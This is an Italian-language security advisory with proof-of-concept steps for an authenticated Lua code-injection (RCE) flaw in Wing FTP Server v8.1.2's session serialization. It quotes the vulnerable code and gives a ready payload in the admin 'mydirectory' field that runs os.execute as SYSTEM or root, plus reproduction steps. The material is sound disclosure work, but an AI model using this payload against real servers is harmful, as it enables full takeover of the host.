Wing FTP Server v8.1.2 contiene una vulnerabilità di Remote Code Execution (RCE) nel meccanismo di serializzazione delle sessioni. Un amministratore autenticato può iniettare codice Lua arbitrario attraverso il campo mydirectory (basefolder) dell'amministratore del dominio, che viene eseguito lato server tramite loadfile().

Questa è una vulnerabilità separata dalla CVE-2025-47812. La correzione applicata nella v7.4.4 per la CVE-2025-47812 ha affrontato solo il vettore di iniezione di byte nullo nel campo username. La sottostante serializzazione insicura delle sessioni non è stata corretta e rimane sfruttabile attraverso il campo admin basefolder nella v8.1.2.

La funzione di serializzazione delle sessioni serialize() in SessionModule.lua (riga 103) e SessionModuleAdmin.lua (riga 104) scrive i valori delle stringhe usando la notazione Lua delle stringhe lunghe [[...]]:

outf("_SESSION["..k.."]=[["..v.."]]\r\n")

Se un valore di sessione contiene ]], la stringa lunga si chiude prematuramente e il contenuto rimanente viene interpretato come codice Lua eseguibile.

Il codice di sanificazione delle parentesi esiste in cgi.lua (righe 274-275) e cgiadmin.lua (righe 277-278) ma è commentato:

--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")

Anche la metatable della sessione che avrebbe imposto questa sanificazione è disabilitata:

--setmetatable(_SESSION,session_metatable)   -- cgi.lua:282, cgiadmin.lua:285

Sfruttamento

Passo 1 — Iniettare il payload tramite il basefolder dell'amministratore del dominio:

Un amministratore completo autenticato crea o modifica un account amministratore del dominio. Il campo mydirectory viene impostato su:

C:\ftproot]]os.execute("whoami > C:\\proof.txt")--

Gli endpoint service_add_admin.html e service_modify_admin.html non sanitizzano i caratteri di parentesi dal campo mydirectory. (service_add_admin.html rimuove le parentesi dal nome utente alle righe 14-15, ma non da mydirectory.)

Passo 2 — Attivare l'esecuzione:

Quando l'amministratore del dominio infetto accede tramite service_login.html, il basefolder viene memorizzato direttamente nella sessione:

rawset(_SESSION,"admin_basefolder",basefolder)   -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder)       -- service_login.html:96

SessionModuleAdmin.save() scrive questo nel file di sessione come:

_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]

Passo 3 — Esecuzione del codice:

Alla successiva richiesta HTTP che utilizza quella sessione, SessionModuleAdmin.load() chiama loadfile() seguito da f() (righe 184-188). Il parser Lua interpreta il file di sessione come:

_SESSION['admin_basefolder']=[[C:\ftproot]]     --> assegna la stringa "C:\ftproot"
os.execute("whoami > C:\\proof.txt")            --> ESEGUITO COME CODICE
--]]                                            --> il resto è commentato

Il payload viene eseguito con i privilegi del processo Wing FTP Server (SYSTEM su Windows, root su Linux).

Prova di Concetto

Un exploit PoC funzionante è stato sviluppato e testato contro Wing FTP Server v8.1.2 su Windows.

Passaggi per la riproduzione:

Accedere al pannello di amministrazione
Creare un nuovo amministratore del dominio con il seguente valore mydirectory:
```
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
```
Accedere come il nuovo amministratore del dominio creato
Navigare a qualsiasi pagina di amministrazione (attiva il caricamento della sessione)
Verificare che C:\wingftp_rce_proof.txt sia stato creato contenente il nome utente del server

Più Popolari

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit